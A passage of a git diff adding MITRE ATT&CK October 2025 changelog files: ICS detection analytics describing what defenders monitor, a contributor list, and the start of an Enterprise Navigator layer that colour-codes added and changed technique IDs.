"description": "Monitor logon activity for unexpected or unusual access to devices from the Internet.\nMonitor for unexpected protocols to/from the Internet. While network traffic content and logon session metadata may directly identify a login event, new Internet-based network flows may also be a reliable indicator of this technique.\nMonitor for unusual logins to Internet connected devices or unexpected protocols to/from the Internet. Network traffic content will provide valuable context and details about the content of network flows.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "Logon Session", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--354b93da-06e9-4634-a5fd-7f9b7b3a9d5a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0797#AN1929", + "external_id": "AN1929" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1929", + "description": "Monitor asset alarms which may help identify a loss of communications. Consider correlating alarms with other data sources that indicate traffic has been blocked, such as network traffic. In cases where alternative methods of communicating with outstations exist alarms may still be visible even if messages over serial COM ports are blocked.\nMonitor for a loss of network communications, which may indicate this technique is being used.\nMonitor for lack of operational process data which may help identify a loss of communications. This will not directly detect the technique\u2019s execution, but instead may provide additional evidence that the technique has been used and may complement other detections.\nMonitor application logs for changes to settings and other events associated with network protocols that may be used to block communications.\nMonitor for the termination of processes or services associated with ICS automation protocols and application software which could help detect blocked communications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--4c12c1c8-bcef-4daf-8e5b-fca235f71d9e", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--931b3fc6-ad68-42a8-9018-e98515eedc95", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "name": "Process", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b337bf06-d69b-41e0-8e60-8f24cb718998", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0798#AN1930", + "external_id": "AN1930" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1930", + "description": "Monitor network traffic for hardcoded credential use in protocols that allow unencrypted authentication.\nMonitor logon sessions for hardcoded credential use, when feasible.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "Logon Session", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d271c7fc-d76a-4fb0-a645-5db2c1223a32", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0799#AN1931", + "external_id": "AN1931" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1931", + "description": "Monitor and analyze traffic flows that do not follow the expected protocol standards and traffic flows (e.g., extraneous packets that do not belong to established flows , or gratuitous or anomalous traffic patterns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g., monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).\nMonitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g., extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g., monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--28eb77c1-1834-4b7a-a06f-afebb7f2e756", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0800#AN1932", + "external_id": "AN1932" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1932", + "description": "Monitor for newly executed processes that can aid in sniffing network traffic to capture information about an environment.\nMonitor executed commands and arguments for actions that aid in sniffing network traffic to capture information about an environment.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fcfe9c48-3a5a-49c8-96c3-be79414a8419", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0801#AN1933", + "external_id": "AN1933" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1933", + "description": "Monitor for a loss of network communications, which may indicate a device has been shutdown or restarted. This will not directly detect the technique\u2019s execution, but instead may provide additional evidence that the technique has been used and may complement other detections.\nDevice restarts and shutdowns may be observable in device application logs. Monitor for unexpected device restarts or shutdowns.\nDevices may produce alarms about restarts or shutdowns. Monitor for unexpected device restarts or shutdowns.\nMonitor ICS automation protocols for functions that restart or shutdown a device. Commands to restart or shutdown devices may also be observable in traditional IT management protocols.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9d56be63-3501-4dd3-bb5f-63c580833298", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--96e7b86f-b960-489c-882b-9dcdb1c44aa9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0802#AN1934", + "external_id": "AN1934" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1934", + "description": "Monitor ICS automation network protocols for information that an asset has been placed into Firmware Update Mode.\nMonitor device alarms that indicate the devices has been placed into Firmware Update Mode, although not all devices produce such alarms.\nMonitor asset log which may provide information that an asset has been placed into Firmware Update Mode. Some assets may log firmware updates themselves without logging that the device has been placed into update mode.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9d56be63-3501-4dd3-bb5f-63c580833298", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--908fe88b-d8e2-47d1-b6a4-7a42b3bbe09b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0803#AN1935", + "external_id": "AN1935" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1935", + "description": "Monitor for network traffic originating from unknown/unexpected systems.\nMonitor authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours, including use of [Valid Accounts](https://attack.mitre.org/techniques/T0859).\nWhen authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "Logon Session", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--058d856a-6356-402f-b3ff-a7c1b6186921", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0804#AN1936", + "external_id": "AN1936" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1936", + "description": "Monitor network data for uncommon data flows (e.g., time of day, unusual source/destination address) that may be related to abuse of [Valid Accounts](https://attack.mitre.org/techniques/T0859) to log into a service specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC.\nMonitor DLL file events, specifically creation of these files as well as the loading of DLLs into processes specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC.\nMonitor for user accounts logged into systems they would not normally access or abnormal access patterns, such as multiple systems over a relatively short period of time. Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. For added context on adversary procedures and background see [Remote Services](https://attack.mitre.org/techniques/T1021) and applicable sub-techniques.\nMonitor for newly executed processes related to services specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC. The adversary may use [Valid Accounts](https://attack.mitre.org/techniques/T0859) to login and may perform follow-on actions that spawn additional processes as the user.\nMonitor executed commands and arguments to services specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC. The adversary may then perform these actions using [Valid Accounts](https://attack.mitre.org/techniques/T0859).\nMonitor for newly constructed network connections into a service specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC. Monitor network connections involving common remote management protocols, such as ports tcp:3283 and tcp:5900, as well as ports tcp:3389 and tcp:22 for remote logins. The adversary may use [Valid Accounts](https://attack.mitre.org/techniques/T0859) to enable remote logins.\nMonitor interactions with network shares, such as reads or file transfers, using remote services such as Server Message Block (SMB). For added context on adversary procedures and background see [Remote Services](https://attack.mitre.org/techniques/T1021) and applicable sub-techniques.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "Module", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "Logon Session", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa", + "name": "Network Share", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + } + ], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + } + }, + "new-contributors": [ + "Adam Hunt", + "Amir Hossein Vafifar", + "Arun Seelagan, CISA", + "Aung Kyaw Min Naing, @Nolan", + "Austin Larsen and the Google Threat Intelligence Group", + "Avioo360", + "Ben Smith", + "Christopher Peacock", + "Damien Miller-McAndrews", + "Daniyal Naeem, BT Security", + "Deloitte Threat Library Team", + "Don Le, Stifel Financial", + "Enis Aksu", + "Eric Loui, CrowdStrike Intelligence", + "Florian Heigl", + "Giorgi Gurgenidze, GITAC", + "Google's Android Security team", + "Gordon Long, LegioX/Zoom, asaurusrex", + "Gr@ve_Rose (tcpdump101.com on bsky)", + "Gregory Frey", + "Jeff Felling, Red Canary", + "Jiraput Thamsongkrah", + "Joe Gumke, U.S. Bank", + "Jorge Orchilles, SCYTHE", + "Kaung Khant Ko", + "Liran Ravich, CardinalOps", + "Lookout", + "Marco Pedrinazzi, @pedrinazziM", + "Marco Pedrinazzi, @pedrinazziM, InTheCyber", + "Matt Brenton", + "Menachem Goldstein", + "Michael \u201cBarni\u201d Barnhart, DTEX", + "Michal Biesiada", + "Natthawut Saexu", + "Nay Myo Hlaing (Ethan), DBS Bank", + "Ozer Sarilar, @ozersarilar, STM", + "Purinut Wongwaiwuttiguldej", + "Pyae Heinn Kyaw, CSIRT @ Salesforce", + "Raja Singh (raja-singh-r3v-sh3ll)", + "Ray Jasinski", + "ReliaQuest", + "Ruben Dodge, @shotgunner101", + "Ruben Groenewoud (@RFGroenewoud)", + "Satoshi Kamekawa, ITOCHU Cyber & Intelligence Inc.", + "Serhii Melnyk, Trustwave SpiderLabs", + "Shuhei Sasada, ITOCHU Cyber & Intelligence Inc.", + "Simon Williams", + "Tommaso Tosi, @tosto92, InTheCyber", + "Tony Mau (CyberCX)", + "YH Chang, ZScaler", + "YH Chang, ZScaler ThreatLabz", + "Yusuke Niwa, ITOCHU Cyber & Intelligence Inc.", + "ZScaler" + ] +} \ No newline at end of file diff --git a/modules/resources/docs/changelogs/v17.1-v18.0/layer-enterprise.json b/modules/resources/docs/changelogs/v17.1-v18.0/layer-enterprise.json new file mode 100644 index 00000000000..cf88de944a2 --- /dev/null +++ b/modules/resources/docs/changelogs/v17.1-v18.0/layer-enterprise.json @@ -0,0 +1,5557 @@ +{ + "versions": { + "layer": "4.5", + "navigator": "5.0.0", + "attack": "18.0" + }, + "name": "October 2025 Enterprise Updates", + "description": "Enterprise updates for the October 2025 release of ATT&CK", + "domain": "enterprise-attack", + "techniques": [ + { + "techniqueID": "T1518.002", + "tactic": "discovery", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1036.012", + "tactic": "defense-evasion", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1059.013", + "tactic": "execution", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1213.006", + "tactic": "collection", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1678", + "tactic": "defense-evasion", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1562.013", + "tactic": "defense-evasion", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1680", + "tactic": "discovery", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1204.005", + "tactic": "execution", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1677", + "tactic": "execution", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1546.018", + "tactic": "persistence", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1546.018", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1681", + "tactic": "reconnaissance", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1679", + "tactic": "defense-evasion", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1552.003", + "tactic": "credential-access", + "enabled": true, + "color": "#fcf3a2", + "comment": "major_version_change" + }, + { + "techniqueID": "T1082", + "tactic": "discovery", + "enabled": true, + "color": "#fcf3a2", + "comment": "major_version_change" + }, + { + "techniqueID": "T1597.001", + "tactic": "reconnaissance", + "enabled": true, + "color": "#fcf3a2", + "comment": "major_version_change" + }, + { + "techniqueID": "T1497.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#fcf3a2", + "comment": "major_version_change" + }, + { + "techniqueID": "T1497.003", + "tactic": "discovery", + "enabled": true, + "color": "#fcf3a2", + "comment": "major_version_change" + }, + { + "techniqueID": "T1531", + "tactic": "impact", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1583", + "tactic": "resource-development", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1098.007", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1098.007", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1583.005", + "tactic": "resource-development", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1176.001", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1110", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1546.015", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1546.015", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1195.001", + "tactic": "initial-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1574.001", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1574.001", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1574.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1071.004", + "tactic": "command-and-control", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1584.002", + "tactic": "resource-development", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1005", + "tactic": "collection", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1098.005", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1098.005", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1562.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1589.002", + "tactic": "reconnaissance", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1672", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1190", + "tactic": "initial-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1090.002", + "tactic": "command-and-control", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1133", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1133", + "tactic": "initial-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1071.002", + "tactic": "command-and-control", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1027.011", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1187", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1027.006", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1564.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1564.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1665", + "tactic": "command-and-control", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1070", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1105", + "tactic": "command-and-control", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1016.001", + "tactic": "discovery", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1136.001", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1204.004", + "tactic": "execution", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1204.002", + "tactic": "execution", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1587.001", + "tactic": "resource-development", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1090.003", + "tactic": "command-and-control", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1599.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1584.008", + "tactic": "resource-development", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1571", + "tactic": "command-and-control", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1110.003", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1070.010", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1021.001", + "tactic": "lateral-movement", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1014", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1564.006", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1218.011", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1053.005", + "tactic": "execution", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1053.005", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1053.005", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1489", + "tactic": "impact", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1574.011", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1574.011", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1574.011", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1592.002", + "tactic": "reconnaissance", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1598.003", + "tactic": "reconnaissance", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1566.002", + "tactic": "initial-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + 